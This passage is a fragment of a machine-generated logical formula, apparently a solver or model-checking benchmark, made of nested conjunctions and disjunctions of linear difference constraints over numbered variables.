|| (((x_17 + (-1.0 * _x_x_12)) == -17.0) || (((x_16 + (-1.0 * _x_x_12)) == -10.0) || (((x_15 + (-1.0 * _x_x_12)) == -11.0) || (((x_12 + (-1.0 * _x_x_12)) == -10.0) || (((x_9 + (-1.0 * _x_x_12)) == -2.0) || (((x_6 + (-1.0 * _x_x_12)) == -7.0) || (((x_4 + (-1.0 * _x_x_12)) == -6.0) || (((x_1 + (-1.0 * _x_x_12)) == -4.0) || ((x_2 + (-1.0 * _x_x_12)) == -6.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_13)) <= -11.0) && (((x_30 + (-1.0 * _x_x_13)) <= -1.0) && (((x_27 + (-1.0 * _x_x_13)) <= -15.0) && (((x_26 + (-1.0 * _x_x_13)) <= -3.0) && (((x_25 + (-1.0 * _x_x_13)) <= -9.0) && (((x_23 + (-1.0 * _x_x_13)) <= -8.0) && (((x_22 + (-1.0 * _x_x_13)) <= -8.0) && (((x_21 + (-1.0 * _x_x_13)) <= -14.0) && (((x_19 + (-1.0 * _x_x_13)) <= -8.0) && (((x_17 + (-1.0 * _x_x_13)) <= -10.0) && (((x_13 + (-1.0 * _x_x_13)) <= -7.0) && (((x_10 + (-1.0 * _x_x_13)) <= -16.0) && (((x_8 + (-1.0 * _x_x_13)) <= -8.0) && (((x_3 + (-1.0 * _x_x_13)) <= -1.0) && (((x_0 + (-1.0 * _x_x_13)) <= -6.0) && ((x_1 + (-1.0 * _x_x_13)) <= -1.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_13)) == -11.0) || (((x_30 + (-1.0 * _x_x_13)) == -1.0) || (((x_27 + (-1.0 * _x_x_13)) == -15.0) || (((x_26 + (-1.0 * _x_x_13)) == -3.0) || (((x_25 + (-1.0 * _x_x_13)) == -9.0) || (((x_23 + (-1.0 * _x_x_13)) == -8.0) || (((x_22 + (-1.0 * _x_x_13)) == -8.0) || (((x_21 + (-1.0 * _x_x_13)) == -14.0) || (((x_19 + (-1.0 * _x_x_13)) == -8.0) || (((x_17 + (-1.0 * _x_x_13)) == -10.0) || (((x_13 + (-1.0 * _x_x_13)) == -7.0) || (((x_10 + (-1.0 * _x_x_13)) == -16.0) || (((x_8 + (-1.0 * _x_x_13)) == -8.0) || (((x_3 + (-1.0 * _x_x_13)) == -1.0) || (((x_0 + (-1.0 * _x_x_13)) == -6.0) || ((x_1 + (-1.0 * _x_x_13)) == -1.0)))))))))))))))))) && ((((x_29 + (-1.0 * _x_x_14)) <= -11.0) && (((x_27 + (-1.0 * _x_x_14)) <= -15.0) && (((x_22 + (-1.0 * _x_x_14)) <= -4.0) && (((x_20 + (-1.0 * _x_x_14)) <= -8.0) && (((x_19 + (-1.0 * _x_x_14)) <= -19.0) && (((x_17 + (-1.0 * _x_x_14)) <= -1.0) && (((x_16 + (-1.0 * _x_x_14)) <= -4.0) && (((x_15 + (-1.0 * _x_x_14)) <= -14.0) && (((x_13 + (-1.0 * _x_x_14)) <= -2.0) && (((x_12 + (-1.0 * _x_x_14)) <= -16.0) && (((x_10 + (-1.0 * _x_x_14)) <= -19.0) && (((x_8 + (-1.0 * _x_x_14)) <= -2.0) && (((x_7 + (-1.0 * _x_x_14)) <= -8.0) && (((x_4 + (-1.0 * _x_x_14)) <= -19.0) && (((x_2 + (-1.0 * _x_x_14)) <= -5.0) && ((x_3 + (-1.0 * _x_x_14)) <= -8.0)))))))))))))))) && (((x_29 + (-1.0 * _x_x_14)) == -11.0) || (((x_27 + (-1.0 * _x_x_14)) == -15.0) || (((x_22 + (-1.0 * _x_x_14)) == -4.0) || (((x_20 + (-1.0 * _x_x_14)) == -8.0) || (((x_19 + (-1.0 * _x_x_14)) == -19.0) || (((x_17 + (-1.0 * _x_x_14)) == -1.0) || (((x_16 + (-1.0 * _x_x_14)) == -4.0) || (((x_15 + (-1.0 * _x_x_14)) == -14.0) || (((x_13 + (-1.0 * _x_x_14)) == -2.0) || (((x_12 + (-1.0 * _x_x_14)) == -16.0) || (((x_10 + (-1.0 * _x_x_14)) == -19.0) || (((x_8 + (-1.0 * _x_x_14)) == -2.0) || (((x_7 + (-1.0 * _x_x_14)) == -8.0) || (((x_4 + (-1.0 * _x_x_14)) == -19.0) || (((x_2 + (-1.0 * _x_x_14)) == -5.0) || ((x_3 + (-1.0 * _x_x_14)) == -8.0)))))))))))))))))) && ((((x_26 + (-1.0 * _x_x_15)) <= -9.0) && (((x_23 + (-1.0 * _x_x_15)) <= -7.0) && (((x_22 + (-1.0 * _x_x_15)) <= -16.0) && (((x_20 + (-1.0 * _x_x_15)) <= -16.0) && (((x_18 + (-1.0 * _x_x_15)) <= -17.0) && (((x_17 + (-1.0 * _x_x_15)) <= -19.0) && (((x_12 + (-1.0 * _x_x_15)) <= -6.0) && (((x_11 + (-1.0 * _x_x_15)) <= -20.0) && (((x_8 + (-1.0 * _x_x_15)) <= -9.0) && (((x_7 + (-1.0 * _x_x_15)) <= -16.0) && (((x_6 + (-1.0 * _x_x_15)) <= -18.0) && (((x_5 + (-1.0 * _x_x_15)) <= -8.0) && (((x_4 + (-1.0 * _x_x_15)) <= -2.0) && (((x_3 + (-1.0 * _x_x_15)) <= -16.0) && (((x_0 + (-1.0 * _x_x_15)) <= -13.0) && ((x_1 + (-1.0 * _x_x_15)) <= -8.0)))))))))))))))) && (((x_26 + (-1.0 * _x_x_15)) == -9.0) || (((x_23 + (-1.0 * _x_x_15)) == -7.0) || (((x_22 + (-1.0 * _x_x_15)) == -16.0) || (((x_20 + (-1.0 * _x_x_15)) == -16.0) || (((x_18 + (-1.0 * _x_x_15)) == -17.0) || (((x_17 + (-1.0 * _x_x_15)) == -19.0) || (((x_12 + (-1.0 * _x_x_15)) == -6.0) || (((x_11 + (-1.0 * _x_x_15)) == -20.0) || (((x_8 + (-1.0 * _x_x_15)) == -9.0) || (((x_7 + (-1.0 * _x_x_15)) == -16.0) || (((x_6 + (-1.0 * _x_x_15)) == -18.0) || (((x_5 + (-1.0 * _x_x_15)) == -8.0) || (((x_4 + (-1.0 * _x_x_15)) == -2.0) || (((x_3 + (-1.0 * _x_x_15)) == -16.0) || (((x_0 + (-1.0 * _x_x_15)) == -13.0) || ((x_1 + (-1.0 * _x_x_15)) == -8.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_16)) <= -18.0) && (((x_30 + (-1.0 * _x_x_16)) <= -6.0) && (((x_27 + (-1.0 * _x_x_16)) <= -3.0) && (((x_25 + (-1.0 * _x_x_16)) <= -2.0) && (((x_23 + (-1.0 * _x_x_16)) <= -5.0) && (((x_21 + (-1.0 * _x_x_16)) <= -11.0) && (((x_20 + (-1.0 * _x_x_16)) <= -18.0) && (((x_19 + (-1.0 * _x_x_16)) <= -11.0) && (((x_15 + (-1.0 * _x_x_16)) <= -6.0) && (((x_14 + (-1.0 * _x_x_16)) <= -15.0) && (((x_12 + (-1.0 * _x_x_16)) <= -1.0) && (((x_7 + (-1.0 * _x_x_16)) <= -20.0) && (((x_6 + (-1.0 * _x_x_16)) <= -11.0) && (((x_2 + (-1.0 * _x_x_16)) <= -3.0) && (((x_0 + (-1.0 * _x_x_16)) <= -13.0) && ((x_1 + (-1.0 * _x_x_16)) <= -6.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_16)) == -18.0) || (((x_30 + (-1.0 * _x_x_16)) == -6.0) || (((x_27 + (-1.0 * _x_x_16)) == -3.0) || (((x_25 + (-1.0 * _x_x_16)) == -2.0) || (((x_23 + (-1.0 * _x_x_16)) == -5.0) || (((x_21 + (-1.0 * _x_x_16)) == -11.0) || (((x_20 + (-1.0 * _x_x_16)) == -18.0) || (((x_19 + (-1.0 * _x_x_16)) == -11.0) || (((x_15 + (-1.0 * _x_x_16)) == -6.0) || (((x_14 + (-1.0 * _x_x_16)) == -15.0) || (((x_12 + (-1.0 * _x_x_16)) == -1.0) || (((x_7 + (-1.0 * _x_x_16)) == -20.0) || (((x_6 + (-1.0 * _x_x_16)) == -11.0) || (((x_2 + (-1.0 * _x_x_16)) == -3.0) || (((x_0 + (-1.0 * _x_x_16)) == -13.0) || ((x_1 + (-1.0 * _x_x_16)) == -6.0)))))))))))))))))) && ((((x_30 + (-1.0 * _x_x_17)) <= -11.0) && (((x_29 + (-1.0 * _x_x_17)) <= -16.0) && (((x_25 + (-1.0 * _x_x_17)) <= -14.0) && (((x_22 + (-1.0 * _x_x_17)) <= -3.0) && (((x_21 + (-1.0 * _x_x_17)) <= -10.0) && (((x_16 + (-1.0 * _x_x_17)) <= -14.0) && (((x_15 + (-1.0 * _x_x_17)) <= -9.0) && (((x_14 + (-1.0 * _x_x_17)) <= -12.0) && (((x_13 + (-1.0 * _x_x_17)) <= -8.0) && (((x_12 + (-1.0 * _x_x_17)) <= -11.0) && (((x_9 + (-1.0 * _x_x_17)) <= -16.0) && (((x_8 + (-1.0 * _x_x_17)) <= -5.0) && (((x_6 + (-1.0 * _x_x_17)) <= -5.0) && (((x_5 + (-1.0 * _x_x_17)) <= -12.0) && (((x_1 + (-1.0 * _x_x_17)) <= -3.0) && ((x_3 + (-1.0 * _x_x_17)) <= -12.0)))))))))))))))) && (((x_30 + (-1.0 * _x_x_17)) == -11.0) || (((x_29 + (-1.0 * _x_x_17)) == -16.0) || (((x_25 + (-1.0 * _x_x_17)) == -14.0) || (((x_22 + (-1.0 * _x_x_17)) == -3.0) || (((x_21 + (-1.0 * _x_x_17)) == -10.0) || (((x_16 + (-1.0 * _x_x_17)) == -14.0) || (((x_15 + (-1.0 * _x_x_17)) == -9.0) || (((x_14 + (-1.0 * _x_x_17)) == -12.0) || (((x_13 + (-1.0 * _x_x_17)) == -8.0) || (((x_12 + (-1.0 * _x_x_17)) == -11.0) || (((x_9 + (-1.0 * _x_x_17)) == -16.0) || (((x_8 + (-1.0 * _x_x_17)) == -5.0) || (((x_6 + (-1.0 * _x_x_17)) == -5.0) || (((x_5 + (-1.0 * _x_x_17)) == -12.0) || (((x_1 + (-1.0 * _x_x_17)) == -3.0) || ((x_3 + (-1.0 * _x_x_17)) == -12.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_18)) <= -9.0) && (((x_28 + (-1.0 * _x_x_18)) <= -14.0) && (((x_26 + (-1.0 * _x_x_18)) <= -10.0) && (((x_23 + (-1.0 * _x_x_18)) <= -7.0) && (((x_22 + (-1.0 * _x_x_18)) <= -16.0) && (((x_21 + (-1.0 * _x_x_18)) <= -1.0) && (((x_20 + (-1.0 * _x_x_18)) <= -3.0) && (((x_17 + (-1.0 * _x_x_18)) <= -10.0) && (((x_16 + (-1.0 * _x_x_18)) <= -14.0) && (((x_14 + (-1.0 * _x_x_18)) <= -12.0) && (((x_13 + (-1.0 * _x_x_18)) <= -6.0) && (((x_12 + (-1.0 * _x_x_18)) <= -15.0) && (((x_11 + (-1.0 * _x_x_18)) <= -14.0) && (((x_10 + (-1.0 * _x_x_18)) <= -7.0) && (((x_0 + (-1.0 * _x_x_18)) <= -10.0) && ((x_6 + (-1.0 * _x_x_18)) <= -12.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_18)) == -9.0) || (((x_28 + (-1.0 * _x_x_18)) == -14.0) || (((x_26 + (-1.0 * _x_x_18)) == -10.0) || (((x_23 + (-1.0 * _x_x_18)) == -7.0) || (((x_22 + (-1.0 * _x_x_18)) == -16.0) || (((x_21 + (-1.0 * _x_x_18)) == -1.0) || (((x_20 + (-1.0 * _x_x_18)) == -3.0) || (((x_17 + (-1.0 * _x_x_18)) == -10.0) || (((x_16 + (-1.0 * _x_x_18)) == -14.0) || (((x_14 + (-1.0 * _x_x_18)) == -12.0) || (((x_13 + (-1.0 * _x_x_18)) == -6.0) || (((x_12 + (-1.0 * _x_x_18)) == -15.0) || (((x_11 + (-1.0 * _x_x_18)) == -14.0) || (((x_10 + (-1.0 * _x_x_18)) == -7.0) || (((x_0 + (-1.0 * _x_x_18)) == -10.0) || ((x_6 + (-1.0 * _x_x_18)) == -12.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_19)) <= -17.0) && (((x_28 + (-1.0 * _x_x_19)) <= -14.0) && (((x_21 + (-1.0 * _x_x_19)) <= -20.0) && (((x_20 + (-1.0 * _x_x_19)) <= -7.0) && (((x_18 + (-1.0 * _x_x_19)) <= -5.0) && (((x_17 + (-1.0 * _x_x_19)) <= -12.0) && (((x_16 + (-1.0 * _x_x_19)) <= -20.0) && (((x_15 + (-1.0 * _x_x_19)) <= -8.0) && (((x_14 + (-1.0 * _x_x_19)) <= -5.0) && (((x_12 + (-1.0 * _x_x_19)) <= -9.0) && (((x_11 + (-1.0 * _x_x_19)) <= -12.0) && (((x_10 + (-1.0 * _x_x_19)) <= -15.0) && (((x_7 + (-1.0 * _x_x_19)) <= -13.0) && (((x_4 + (-1.0 * _x_x_19)) <= -17.0) && (((x_2 + (-1.0 * _x_x_19)) <= -8.0) && ((x_3 + (-1.0 * _x_x_19)) <= -11.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_19)) == -17.0) || (((x_28 + (-1.0 * _x_x_19)) == -14.0) || (((x_21 + (-1.0 * _x_x_19)) == -20.0) || (((x_20 + (-1.0 * _x_x_19)) == -7.0) || (((x_18 + (-1.0 * _x_x_19)) == -5.0) || (((x_17 + (-1.0 * _x_x_19)) == -12.0) || (((x_16 + (-1.0 * _x_x_19)) == -20.0) || (((x_15 + (-1.0 * _x_x_19)) == -8.0) || (((x_14 + (-1.0 * _x_x_19)) == -5.0) || (((x_12 + (-1.0 * _x_x_19)) == -9.0) || (((x_11 + (-1.0 * _x_x_19)) == -12.0) || (((x_10 + (-1.0 * _x_x_19)) == -15.0) || (((x_7 + (-1.0 * _x_x_19)) == -13.0) || (((x_4 + (-1.0 * _x_x_19)) == -17.0) || (((x_2 + (-1.0 * _x_x_19)) == -8.0) || ((x_3 + (-1.0 * _x_x_19)) == -11.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_20)) <= -19.0) && (((x_28 + (-1.0 * _x_x_20)) <= -7.0) && (((x_27 + (-1.0 * _x_x_20)) <= -15.0) && (((x_26 + (-1.0 * _x_x_20)) <= -14.0) && (((x_21 + (-1.0 * _x_x_20)) <= -6.0) && (((x_19 + (-1.0 * _x_x_20)) <= -12.0) && (((x_18 + (-1.0 * _x_x_20)) <= -6.0) && (((x_17 + (-1.0 * _x_x_20)) <= -11.0) && (((x_16 + (-1.0 * _x_x_20)) <= -13.0) && (((x_14 + (-1.0 * _x_x_20)) <= -9.0) && (((x_12 + (-1.0 * _x_x_20)) <= -18.0) && (((x_11 + (-1.0 * _x_x_20)) <= -6.0) && (((x_10 + (-1.0 * _x_x_20)) <= -10.0) && (((x_9 + (-1.0 * _x_x_20)) <= -13.0) && (((x_1 + (-1.0 * _x_x_20)) <= -18.0) && ((x_3 + (-1.0 * _x_x_20)) <= -17.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_20)) == -19.0) || (((x_28 + (-1.0 * _x_x_20)) == -7.0) || (((x_27 + (-1.0 * _x_x_20)) == -15.0) || (((x_26 + (-1.0 * _x_x_20)) == -14.0) || (((x_21 + (-1.0 * _x_x_20)) == -6.0) || (((x_19 + (-1.0 * _x_x_20)) == -12.0) || (((x_18 + (-1.0 * _x_x_20)) == -6.0) || (((x_17 + (-1.0 * _x_x_20)) == -11.0) || (((x_16 + (-1.0 * _x_x_20)) == -13.0) || (((x_14 + (-1.0 * _x_x_20)) == -9.0) || (((x_12 + (-1.0 * _x_x_20)) == -18.0) || (((x_11 + (-1.0 * _x_x_20)) == -6.0) || (((x_10 + (-1.0 * _x_x_20)) == -10.0) || (((x_9 + (-1.0 * _x_x_20)) == -13.0) || (((x_1 + (-1.0 * _x_x_20)) == -18.0) || ((x_3 + (-1.0 * _x_x_20)) == -17.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_21)) <= -11.0) && (((x_30 + (-1.0 * _x_x_21)) <= -12.0) && (((x_20 + (-1.0 * _x_x_21)) <= -17.0) && (((x_19 + (-1.0 * _x_x_21)) <= -4.0) && (((x_17 + (-1.0 * _x_x_21)) <= -9.0) && (((x_15 + (-1.0 * _x_x_21)) <= -10.0) && (((x_14 + (-1.0 * _x_x_21)) <= -17.0) && (((x_12 + (-1.0 * _x_x_21)) <= -18.0) && (((x_11 + (-1.0 * _x_x_21)) <= -3.0) && (((x_7 + (-1.0 * _x_x_21)) <= -6.0) && (((x_6 + (-1.0 * _x_x_21)) <= -10.0) && (((x_5 + (-1.0 * _x_x_21)) <= -5.0) && (((x_3 + (-1.0 * _x_x_21)) <= -19.0) && (((x_2 + (-1.0 * _x_x_21)) <= -14.0) && (((x_0 + (-1.0 * _x_x_21)) <= -9.0) && ((x_1 + (-1.0 * _x_x_21)) <= -6.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_21)) == -11.0) || (((x_30 + (-1.0 * _x_x_21)) == -12.0) || (((x_20 + (-1.0 * _x_x_21)) == -17.0) || (((x_19 + (-1.0 * _x_x_21)) == -4.0) || (((x_17 + (-1.0 * _x_x_21)) == -9.0) || (((x_15 + (-1.0 * _x_x_21)) == -10.0) || (((x_14 + (-1.0 * _x_x_21)) == -17.0) || (((x_12 + (-1.0 * _x_x_21)) == -18.0) || (((x_11 + (-1.0 * _x_x_21)) == -3.0) || (((x_7 + (-1.0 * _x_x_21)) == -6.0) || (((x_6 + (-1.0 * _x_x_21)) == -10.0) || (((x_5 + (-1.0 * _x_x_21)) == -5.0) || (((x_3 + (-1.0 * _x_x_21)) == -19.0) || (((x_2 + (-1.0 * _x_x_21)) == -14.0) || (((x_0 + (-1.0 * _x_x_21)) == -9.0) || ((x_1 + (-1.0 * _x_x_21)) == -6.0)))))))))))))))))) && ((((x_29 + (-1.0 * _x_x_22)) <= -5.0) && (((x_27 + (-1.0 * _x_x_22)) <= -5.0) && (((x_26 + (-1.0 * _x_x_22)) <= -2.0) && (((x_23 + (-1.0 * _x_x_22)) <= -16.0) && (((x_21 + (-1.0 * _x_x_22)) <= -18.0) && (((x_19 + (-1.0 * _x_x_22)) <= -15.0) && (((x_18 + (-1.0 * _x_x_22)) <= -16.0) && (((x_17 + (-1.0 * _x_x_22)) <= -10.0) && (((x_16 + (-1.0 * _x_x_22)) <= -8.0) && (((x_15 + (-1.0 * _x_x_22)) <= -8.0) && (((x_14 + (-1.0 * _x_x_22)) <= -6.0) && (((x_12 + (-1.0 * _x_x_22)) <= -16.0) && (((x_8 + (-1.0 * _x_x_22)) <= -2.0) && (((x_6 + (-1.0 * _x_x_22)) <= -8.0) && (((x_3 + (-1.0 * _x_x_22)) <= -1.0) && ((x_4 + (-1.0 * _x_x_22)) <= -9.0)))))))))))))))) && (((x_29 + (-1.0 * _x_x_22)) == -5.0) || (((x_27 + (-1.0 * _x_x_22)) == -5.0) || (((x_26 + (-1.0 * _x_x_22)) == -2.0) || (((x_23 + (-1.0 * _x_x_22)) == -16.0) || (((x_21 + (-1.0 * _x_x_22)) == -18.0) || (((x_19 + (-1.0 * _x_x_22)) == -15.0) || (((x_18 + (-1.0 * _x_x_22)) == -16.0) || (((x_17 + (-1.0 * _x_x_22)) == -10.0) || (((x_16 + (-1.0 * _x_x_22)) == -8.0) || (((x_15 + (-1.0 * _x_x_22)) == -8.0) || (((x_14 + (-1.0 * _x_x_22)) == -6.0) || (((x_12 + (-1.0 * _x_x_22)) == -16.0) || (((x_8 + (-1.0 * _x_x_22)) == -2.0) || (((x_6 + (-1.0 * _x_x_22)) == -8.0) || (((x_3 + (-1.0 * _x_x_22)) == -1.0) || ((x_4 + (-1.0 * _x_x_22)) == -9.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_23)) <= -19.0) && (((x_29 + (-1.0 * _x_x_23)) <= -13.0) && (((x_24 + (-1.0 * _x_x_23)) <= -6.0) && (((x_22 + (-1.0 * _x_x_23)) <= -19.0) && (((x_20 + (-1.0 * _x_x_23)) <= -5.0) && (((x_18 + (-1.0 * _x_x_23)) <= -18.0) && (((x_16 + (-1.0 * _x_x_23)) <= -3.0) && (((x_15 + (-1.0 * _x_x_23)) <= -8.0) && (((x_14 + (-1.0 * _x_x_23)) <= -10.0) && (((x_13 + (-1.0 * _x_x_23)) <= -1.0) && (((x_11 + (-1.0 * _x_x_23)) <= -2.0) && (((x_7 + (-1.0 * _x_x_23)) <= -18.0) && (((x_5 + (-1.0 * _x_x_23)) <= -9.0) && (((x_4 + (-1.0 * _x_x_23)) <= -10.0) && (((x_0 + (-1.0 * _x_x_23)) <= -1.0) && ((x_2 + (-1.0 * _x_x_23)) <= -11.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_23)) == -19.0) || (((x_29 + (-1.0 * _x_x_23)) == -13.0) || (((x_24 + (-1.0 * _x_x_23)) == -6.0) || (((x_22 + (-1.0 * _x_x_23)) == -19.0) || (((x_20 + (-1.0 * _x_x_23)) == -5.0) || (((x_18 + (-1.0 * _x_x_23)) == -18.0) || (((x_16 + (-1.0 * _x_x_23)) == -3.0) || (((x_15 + (-1.0 * _x_x_23)) == -8.0) || (((x_14 + (-1.0 * _x_x_23)) == -10.0) || (((x_13 + (-1.0 * _x_x_23)) == -1.0) || (((x_11 + (-1.0 * _x_x_23)) == -2.0) || (((x_7 + (-1.0 * _x_x_23)) == -18.0) || (((x_5 + (-1.0 * _x_x_23)) == -9.0) || (((x_4 + (-1.0 * _x_x_23)) == -10.0) || (((x_0 + (-1.0 * _x_x_23)) == -1.0) || ((x_2 + (-1.0 * _x_x_23)) == -11.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_24)) <= -18.0) && (((x_27 + (-1.0 * _x_x_24)) <= -5.0) && (((x_25 + (-1.0 * _x_x_24)) <= -10.0) && (((x_24 + (-1.0 * _x_x_24)) <= -16.0) && (((x_21 + (-1.0 * _x_x_24)) <= -15.0) && (((x_20 + (-1.0 * _x_x_24)) <= -18.0) && (((x_19 + (-1.0 * _x_x_24)) <= -17.0) && (((x_17 + (-1.0 * _x_x_24)) <= -8.0) && (((x_16 + (-1.0 * _x_x_24)) <= -13.0) && (((x_15 + (-1.0 * _x_x_24)) <= -20.0) && (((x_14 + (-1.0 * _x_x_24)) <= -8.0) && (((x_8 + (-1.0 * _x_x_24)) <= -19.0) && (((x_7 + (-1.0 * _x_x_24)) <= -18.0) && (((x_6 + (-1.0 * _x_x_24)) <= -7.0) && (((x_0 + (-1.0 * _x_x_24)) <= -2.0) && ((x_2 + (-1.0 * _x_x_24)) <= -9.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_24)) == -18.0) || (((x_27 + (-1.0 * _x_x_24)) == -5.0) || (((x_25 + (-1.0 * _x_x_24)) == -10.0) || (((x_24 + (-1.0 * _x_x_24)) == -16.0) || (((x_21 + (-1.0 * _x_x_24)) == -15.0) || (((x_20 + (-1.0 * _x_x_24)) == -18.0) || (((x_19 + (-1.0 * _x_x_24)) == -17.0) || (((x_17 + (-1.0 * _x_x_24)) == -8.0) || (((x_16 + (-1.0 * _x_x_24)) == -13.0) || (((x_15 + (-1.0 * _x_x_24)) == -20.0) || (((x_14 + (-1.0 * _x_x_24)) == -8.0) || (((x_8 + (-1.0 * _x_x_24)) == -19.0) || (((x_7 + (-1.0 * _x_x_24)) == -18.0) || (((x_6 + (-1.0 * _x_x_24)) == -7.0) || (((x_0 + (-1.0 * _x_x_24)) == -2.0) || ((x_2 + (-1.0 * _x_x_24)) == -9.0)))))))))))))))))) && ((((x_30 + (-1.0 * _x_x_25)) <= -20.0) && (((x_29 + (-1.0 * _x_x_25)) <= -11.0) && (((x_25 + (-1.0 * _x_x_25)) <= -15.0) && (((x_23 + (-1.0 * _x_x_25)) <= -17.0) && (((x_22 + (-1.0 * _x_x_25)) <= -15.0) && (((x_20 + (-1.0 * _x_x_25)) <= -4.0) && (((x_17 + (-1.0 * _x_x_25)) <= -7.0) && (((x_15 + (-1.0 * _x_x_25)) <= -15.0) && (((x_14 + (-1.0 * _x_x_25)) <= -9.0) && (((x_13 + (-1.0 * _x_x_25)) <= -1.0) && (((x_10 + (-1.0 * _x_x_25)) <= -1.0) && (((x_9 + (-1.0 * _x_x_25)) <= -18.0) && (((x_8 + (-1.0 * _x_x_25)) <= -11.0) && (((x_5 + (-1.0 * _x_x_25)) <= -8.0) && (((x_2 + (-1.0 * _x_x_25)) <= -3.0) && ((x_3 + (-1.0 * _x_x_25)) <= -19.0)))))))))))))))) && (((x_30 + (-1.0 * _x_x_25)) == -20.0) || (((x_29 + (-1.0 * _x_x_25)) == -11.0) || (((x_25 + (-1.0 * _x_x_25)) == -15.0) || (((x_23 + (-1.0 * _x_x_25)) == -17.0) || (((x_22 + (-1.0 * _x_x_25)) == -15.0) || (((x_20 + (-1.0 * _x_x_25)) == -4.0) || (((x_17 + (-1.0 * _x_x_25)) == -7.0) || (((x_15 + (-1.0 * _x_x_25)) == -15.0) || (((x_14 + (-1.0 * _x_x_25)) == -9.0) || (((x_13 + (-1.0 * _x_x_25)) == -1.0) || (((x_10 + (-1.0 * _x_x_25)) == -1.0) || (((x_9 + (-1.0 * _x_x_25)) == -18.0) || (((x_8 + (-1.0 * _x_x_25)) == -11.0) || (((x_5 + (-1.0 * _x_x_25)) == -8.0) || (((x_2 + (-1.0 * _x_x_25)) == -3.0) || ((x_3 + (-1.0 * _x_x_25)) == -19.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_26)) <= -2.0) && (((x_28 + (-1.0 * _x_x_26)) <= -16.0) && (((x_27 + (-1.0 * _x_x_26)) <= -6.0) && (((x_23 + (-1.0 * _x_x_26)) <= -19.0) && (((x_18 + (-1.0 * _x_x_26)) <= -3.0) && (((x_17 + (-1.0 * _x_x_26)) <= -8.0) && (((x_16 + (-1.0 * _x_x_26)) <= -19.0) && (((x_15 + (-1.0 * _x_x_26)) <= -12.0) && (((x_10 + (-1.0 * _x_x_26)) <= -15.0) && (((x_9 + (-1.0 * _x_x_26)) <= -9.0) && (((x_8 + (-1.0 * _x_x_26)) <= -20.0) && (((x_7 + (-1.0 * _x_x_26)) <= -4.0) && (((x_5 + (-1.0 * _x_x_26)) <= -6.0) && (((x_3 + (-1.0 * _x_x_26)) <= -5.0) && (((x_1 + (-1.0 * _x_x_26)) <= -16.0) && ((x_2 + (-1.0 * _x_x_26)) <= -9.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_26)) == -2.0) || (((x_28 + (-1.0 * _x_x_26)) == -16.0) || (((x_27 + (-1.0 * _x_x_26)) == -6.0) || (((x_23 + (-1.0 * _x_x_26)) == -19.0) || (((x_18 + (-1.0 * _x_x_26)) == -3.0) || (((x_17 + (-1.0 * _x_x_26)) == -8.0) || (((x_16 + (-1.0 * _x_x_26)) == -19.0) || (((x_15 + (-1.0 * _x_x_26)) == -12.0) || (((x_10 + (-1.0 * _x_x_26)) == -15.0) || (((x_9 + (-1.0 * _x_x_26)) == -9.0) || (((x_8 + (-1.0 * _x_x_26)) == -20.0) || (((x_7 + (-1.0 * _x_x_26)) == -4.0) || (((x_5 + (-1.0 * _x_x_26)) == -6.0) || (((x_3 + (-1.0 * _x_x_26)) == -5.0) || (((x_1 + (-1.0 * _x_x_26)) == -16.0) || ((x_2 + (-1.0 * _x_x_26)) == -9.0)))))))))))))))))) && ((((x_31 + (-1.0 * _x_x_27)) <= -14.0) && (((x_29 + (-1.0 * _x_x_27)) <= -8.0) && (((x_28 + (-1.0 * _x_x_27)) <= -3.0) && (((x_27 + (-1.0 * _x_x_27)) <= -3.0) && (((x_26 + (-1.0 * _x_x_27)) <= -17.0) && (((x_22 + (-1.0 * _x_x_27)) <= -13.0) && (((x_21 + (-1.0 * _x_x_27)) <= -14.0) && (((x_20 + (-1.0 * _x_x_27)) <= -7.0) && (((x_19 + (-1.0 * _x_x_27)) <= -4.0) && (((x_15 + (-1.0 * _x_x_27)) <= -17.0) && (((x_11 + (-1.0 * _x_x_27)) <= -13.0) && (((x_10 + (-1.0 * _x_x_27)) <= -1.0) && (((x_6 + (-1.0 * _x_x_27)) <= -15.0) && (((x_5 + (-1.0 * _x_x_27)) <= -18.0) && (((x_1 + (-1.0 * _x_x_27)) <= -17.0) && ((x_3 + (-1.0 * _x_x_27)) <= -5.0)))))))))))))))) && (((x_31 + (-1.0 * _x_x_27)) == -14.0) || (((x_29 + (-1.0 * _x_x_27)) == -8.0) || (((x_28 + (-1.0 * _x_x_27)) == -3.0) || (((x_27 + (-1.0 * _x_x_27)) == -3.0) || (((x_26 + (-1.0 * _x_x_27)) == -17.0) || (((x_22 + (-1.0 * _x_x_27)) == -13.0) || (((x_21 + (-1.0 * _x_x_27)) == -14.0) || (((x_20 + (-1.0 * _x_x_27)) == -7.0) || (((x_19 + (-1.0 * _x_x_27)) == -4.0) || (((x_15 + (-1.0 * _x_x_27)) == -17.0) || (((x_11 + (-1.0 * _x_x_27)) == -13.0) || (((x_10 + (-1.0 * _x_x_27)) == -1.0) || (((x_6 + (-1.0 * _x_x_27)) == -15.0) || (((x_5 + (-1.0 * _x_x_27)) == -18.0) || (((x_1 + (-1.0 * _x_x_27)) == -17.0) || ((x_3 + (-1.0 * _x_x_27)) == -5.0)))))))))))))))))) && ((((x_30 + (-1.0 * _x_x_28)) <= -3.0) && (((x_26 + (-1.0 * _x_x_28)) <= -5.0) && (((x_24 + (-1.0 * _x_x_28)) <= -9.0) && (((x_21 + (-1.0 * _x_x_28)) <= -1.0) && (((x_20 + (-1.0 * _x_x_28)) <= -20.0) && (((x_18 + (-1.0 * _x_x_28)) <= -4.0) && (((x_16 + (-1.0 * _x_x_28)) <= -17.0) && (((x_13 + (-1.0 * _x_x_28)) <= -19.0) && (((x_12 + (-1.0 * _x_x_28)) <= -11.0) && (((x_11 + (-1.0 * _x_x_28)) <= 